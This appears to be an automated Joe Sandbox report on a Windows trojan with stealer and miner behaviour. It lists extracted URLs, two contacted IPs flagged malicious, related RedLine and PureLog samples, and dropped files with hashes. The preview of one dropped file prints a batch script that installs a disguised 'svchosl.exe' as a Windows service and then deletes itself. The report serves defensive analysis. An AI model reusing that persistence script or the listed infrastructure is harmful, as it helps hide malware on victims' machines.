https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader	svchosl.exe, 00000010.00000002.3275747889.000002130587E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000002.3285742985.000000000598B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004C83000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004CC5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id24Response	file.exe, 00000000.00000002.3280784216.0000000004965000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000002.3285742985.000000000598B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004C83000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004CC5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.mic;	svchosl.exe, 0000000E.00000003.2368939718.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id21ResponseD	file.exe, 00000000.00000002.3280784216.0000000004965000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004BA0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing	file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id10ResponseD	file.exe, 00000000.00000002.3280784216.0000000004965000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004BA0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id5Response	file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id15ResponseD	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id10Response	file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Renew	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mahler:8092/site-updates.py	svchosl.exe, 00000010.00000003.2377885559.00000213066A2000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 00000010.00000003.2377835190.0000021305890000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 00000010.00000002.3277478424.000002130668E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id8Response	file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2006/02/addressingidentity	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://bitbucket.org/techtonik/python-wget/	svchosl.exe, 00000010.00000002.3277478424.00000213065F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/D	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/06/addressingex	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse	file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	svchosl.exe, 0000000E.00000003.2370035552.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2371533496.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369241126.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373739228.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2370807089.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373528666.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369399572.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369877536.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2371684654.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369699265.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2372601536.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369576437.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, select.pyd.14.dr, _bz2.pyd.14.dr, _ssl.pyd.14.dr	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id13Response	file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id12ResponseD	file.exe, 00000000.00000002.3280784216.0000000004965000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004B16000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty	file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id7ResponseD	file.exe, 00000000.00000002.3280784216.0000000004965000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement	file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000002.3285742985.000000000598B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004C83000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004CC5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id4ResponseD	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2002/12/policy	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id22Response	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id22ResponseD	file.exe, 00000000.00000002.3280784216.0000000004965000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id16ResponseD	file.exe, 00000000.00000002.3280784216.0000000004965000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004B16000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Issue	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id19ResponseD	file.exe, 00000000.00000002.3280784216.0000000004965000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004B16000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/spnego	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/sc	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id18Response	file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.openssl.org/H	svchosl.exe, 0000000E.00000003.2371684654.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 00000010.00000002.3281359438.00007FF8A8AF9000.00000002.00000001.01000000.00000016.sdmp, svchosl.exe, 00000010.00000002.3283946529.00007FF8B8088000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id3Response	file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://greenbytes.de/tech/tc2231/	svchosl.exe, 00000010.00000002.3277827122.0000021306740000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence	file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/actor/next	file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id14ResponseD	file.exe, 00000000.00000002.3280784216.0000000004965000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
147.45.78.229	unknown	Russian Federation		2895	FREE-NET-ASFREEnetEU	true
77.221.149.185	unknown	Russian Federation		30968	INFOBOX-ASInfoboxruAutonomousSystemRU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1466434
Start date and time:	2024-07-02 22:51:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	161
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.adwa.spyw.evad.mine.winEXE@324/50@0/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 76% Number of executed functions: 409 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): Conhost.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, WmiPrvSE.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, 6.d.a.8.b.e.f.b.0.0.0.0.0.0.0.0.4.0.0.a.0.0.1.f.1.1.1.0.1.0.a.2.ip6.arpa, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
16:52:17	API Interceptor	2257x Sleep call for process: file.exe modified
16:53:02	API Interceptor	35x Sleep call for process: powershell.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FREE-NET-ASFREEnetEU	Setup_latest.exe	Get hash	malicious	RedLine	Browse	147.45.44.12
	jlO7971vUz.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	147.45.78.162
	d5raNaLQ8Q.exe	Get hash	malicious	Xmrig	Browse	147.45.47.81
	a23d1f07dfef6b5fda6381ecf6866746d624dbc1e510073d83f431124bf7d556_payload.exe	Get hash	malicious	RedLine	Browse	147.45.45.3
	QsVQRmzBAf.exe	Get hash	malicious	RedLine	Browse	147.45.45.3
	SecuriteInfo.com.Trojan.MSIL.Crypt.17692.14091.exe	Get hash	malicious	PureLog Stealer	Browse	193.233.203.218
	SecuriteInfo.com.Trojan.DownLoader46.58639.512.14557.exe	Get hash	malicious	PureLog Stealer	Browse	147.45.199.23
	project.exe	Get hash	malicious	RedLine	Browse	147.45.47.37
	qHYHgANDmm.exe	Get hash	malicious	RedLine, Xmrig	Browse	147.45.47.81
	tAa6xNsucX.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	147.45.47.155
INFOBOX-ASInfoboxruAutonomousSystemRU	file.exe	Get hash	malicious	PureLog Stealer	Browse	77.221.140.76
	file.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	77.221.140.76
	file.exe	Get hash	malicious	PureLog Stealer	Browse	77.221.140.76
	SecuriteInfo.com.Win64.MalwareX-gen.13147.14133.exe	Get hash	malicious	Unknown	Browse	77.221.159.5
	SecuriteInfo.com.Win64.MalwareX-gen.13147.14133.exe	Get hash	malicious	Unknown	Browse	77.221.159.5
	SecuriteInfo.com.W32.MSIL_Kryptik.KHA.gen.Eldorado.9663.18711.exe	Get hash	malicious	PureLog Stealer	Browse	77.221.140.76
	file.exe	Get hash	malicious	PureLog Stealer	Browse	77.221.140.76
	file.exe	Get hash	malicious	PureLog Stealer	Browse	77.221.140.76
	SJsixjA7G2.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	109.120.177.48
	6tJtH22I7a.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, Stealc	Browse	77.221.151.47

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Windows\Temp\_MEI65122\VCRUNTIME140.dll	Ferramenta-de-licitacion-SILEX-v3.0.3.exe	Get hash	malicious	Unknown	Browse
	CK_Office.exe	Get hash	malicious	CobaltStrike	Browse
	Installer.msi	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Trojan.MulDrop26.47172.19490.20786.exe	Get hash	malicious	Unknown	Browse
	spyOhcYiT0.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse
	NXyJTepLSo.exe	Get hash	malicious	AsyncRAT, BazaLoader	Browse
	LaZagne.exe	Get hash	malicious	LaZagne, Mimikatz	Browse
	mFgIWyjDLH.exe	Get hash	malicious	Njrat	Browse
	mFgIWyjDLH.exe	Get hash	malicious	Unknown	Browse
	Runtime.exe	Get hash	malicious	Unknown	Browse
C:\ProgramData\MicrosoftSystem\Wmiic.exe	zero.sfx.exe	Get hash	malicious	Unknown	Browse
	zero.sfx.exe	Get hash	malicious	Hidden Macro 4.0, Masscan	Browse
	migrate.exe	Get hash	malicious	Xmrig	Browse

Created / dropped Files

C:\ProgramData\1.exe

Download File

Process:	C:\Users\mig.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	304128
Entropy (8bit):	5.029311715720775
Encrypted:	false
SSDEEP:	3072:rqFFrqwIOGZfyV8mjxTstGIOUBAp6EyhdXjwT4pfHgPcZqf7D341eqiOLCbBO1:2BIOGWq1XdzwT41KcZqf7DIfL
MD5:	809BD9B203CF2EA6FE29D7074AE1C246
SHA1:	1EFD4BA7AC8C7317F4D01E409A580DC02CED6306
SHA-256:	663BC369D3051824E2B2F9E05ACCB8E9E4BE86AFC59D5B2AA26A3A5EE150370A
SHA-512:	6BC93E02E192AB03C448BF7A982FC5AF0A1A5DF5E2BD9CACDEBB9279119845F43DDC68011194C7317021F75AD37BA7C1603C77AF09BDFE2FEBFBACA0FFFE8249
Malicious:	true
Yara Hits:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\ProgramData\1.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....k0...............0.................. ........@.. ....................................@.................................h...O...................................L................................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\MicrosoftSystem\Wmiic.exe

Download File

Process:	C:\Users\123.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	373760
Entropy (8bit):	6.905823705092686
Encrypted:	false
SSDEEP:	6144:OI6VyDGb+HiFr4kchE18dkuCj7jLwcYBQkMH9O1BNI/H9O1BNIgqH9O1BNIVH9Oa:OIJDGb+Hiu9hE18dkxfCMo7I/o7Igqok
MD5:	A18BFE142F059FDB5C041A310339D4FD
SHA1:	8AB2B0DDC897603344DE8F1D4CC01AF118A0C543
SHA-256:	644C9745D1D2F679DB73FCB717DD37E180E19D5B0FC74575E4CEFE4F543F2768
SHA-512:	C30D46781B17C4BB0610D3AF4B5ACC223394D02F9FBB1FBB55811AE2EFE49FD29A7E9626737C4B24194C73C58FE1B577A858559A7E58D93C3660AC680F19EAF8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 68%
Joe Sandbox View:	Filename: zero.sfx.exe, Detection: malicious, Browse Filename: zero.sfx.exe, Detection: malicious, Browse Filename: migrate.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........"1P.C_..C_..C_..;...C_..;...C_...$..C_..C^.YC_..;...C_......C_..;...C_.Rich.C_.........................PE..d...]..Y..........#......D...l................@............................. ..........................................................................h....P..."...................................................................`.. ............................text...4B.......D.................. ..`.rdata.......`.......H..............@..@.data...dC......."..................@....pdata..."...P...$..................@..@.rsrc................"..............@..@................................................................................................................................................................................................................................................................................................................

C:\ProgramData\MicrosoftSystem\run.bat

Download File

Process:	C:\Users\123.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	283
Entropy (8bit):	4.9935460119540895
Encrypted:	false
SSDEEP:	6:/GEXFQcsUki2ZnG2AWo1fooTDEXFQcsUBG26ogL/oNKG2PXjFQcnH1:OEVQc5kthAJfoCEVQc5Bh8zsKh/BQcH1
MD5:	B0233B26F99CD79A1540575C529B064F
SHA1:	0FB1A6E82EC6671A92563D48B5384BC82A93A6F2
SHA-256:	121D3896A1DC59201CA4960728D4CA0BDD96E355CC0F5D1AF5C217E8ED3B37EA
SHA-512:	3D7BDA92879824F1E97B590CC8F2024D7DDED9D614CB901840B367317F936CDA12EB883B5C8D9579202986CA4E4359CEC5B855FF901D11D7107F2063709E7077
Malicious:	false
Preview:	echo off..start "" "C:\programdata\MicrosoftSystem\wmiic.exe" install MicrosoftESS svchosl.exe..TIMEOUT /T 1 /NOBREAK..start "" "C:\programdata\MicrosoftSystem\wmiic" start MicrosoftESS..TIMEOUT /T 2 /NOBREAK..net start MicrosoftESS....del /f C:\programdata\MicrosoftSystem\run.bat..

C:\ProgramData\MicrosoftSystem\svchosl.exe

Download File

Process:	C:\Users\123.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5424070
Entropy (8bit):	7.986990606449725
Encrypted:	false
SSDEEP:	98304:qigKs0WHiaVQWJuhswoYv5eOaVczo0Ahd6y0Naxxv8fqDDAxNer84qqfW42n:XgnrHiauWJysVYvsO5oyMxxvjDDAxRqk
MD5:	9F478308A636906DB8C36E77CE68B4C2
SHA1:	369B818537E16C4C038CE0779BB031BA6980DB9C
SHA-256:	544095B7F34939172EA5BD6544BE4C82357921F3153D17AC0E4B1B93DC363DE4
SHA-512:	4F7F165B5871CB1AAB078256CFFFC63758CC22729FDCE66C84EF6EBE2C6015CFE644040676905D5E8B5396CDAEC5CF591394618B7ABE77B2E2B06DF36B4FF627
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......w.CU3.-.3.-.3.-.x...4.-.x.(...-.x.).9.-../..0.-../..:.-../).".-../(...-.x.,.4.-.3.,.I.-. ().*.-. (/.2.-.Rich3.-.........PE..d...A.{f.........."....(.....d...... ..........@.....................................S...`.................................................,...P.......h....`..."..............h... ...................................@............................................text............................... ..`.rdata...".......$..................@..@.data....s..........................@....pdata..."...`...$..................@..@.rsrc...h...........................@..@.reloc..h...........................@..B........................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\1.exe

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	304128
Entropy (8bit):	5.029311715720775
Encrypted:	false
SSDEEP:	3072:rqFFrqwIOGZfyV8mjxTstGIOUBAp6EyhdXjwT4pfHgPcZqf7D341eqiOLCbBO1:2BIOGWq1XdzwT41KcZqf7DIfL
MD5:	809BD9B203CF2EA6FE29D7074AE1C246
SHA1:	1EFD4BA7AC8C7317F4D01E409A580DC02CED6306
SHA-256:	663BC369D3051824E2B2F9E05ACCB8E9E4BE86AFC59D5B2AA26A3A5EE150370A
SHA-512:	6BC93E02E192AB03C448BF7A982FC5AF0A1A5DF5E2BD9CACDEBB9279119845F43DDC68011194C7317021F75AD37BA7C1603C77AF09BDFE2FEBFBACA0FFFE8249
Malicious:	true
Yara Hits:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\1.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....k0...............0.................. ........@.. ....................................@.................................h...O...................................L................................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\migrate.exe

Download File

Process:	C:\Users\mig.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	46784030
Entropy (8bit):	7.999730751667222
Encrypted:	true
SSDEEP:	786432:lTh3MPTX5dPxVIr8mwzQYxwFICPGgtwLqmodhZ//ivKyG6MEHouC72oMChqm6Dao:ph3mj5g8mwEdmCu+3/w46tHoJLMChqmy
MD5:	E75A9F4CBCDD27B2537920D6FD9BD551
SHA1:	CEF1E0F896FC58679BDFB87BA11DC69A1E4948E6
SHA-256:	C180AB1760E2DA0A10DE0672901F86D3A0E690B37BFB17F1D7EEACED8FAA145D
SHA-512:	7915BEF2C04C865A3F3FC24F49472D27C7BE11894FF86A277B8ACAABE2F283F9981BF9BB4959E67C0F7FCFD244B47EC2CF56810F0D1D2F68DE995FA5ABF32337
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
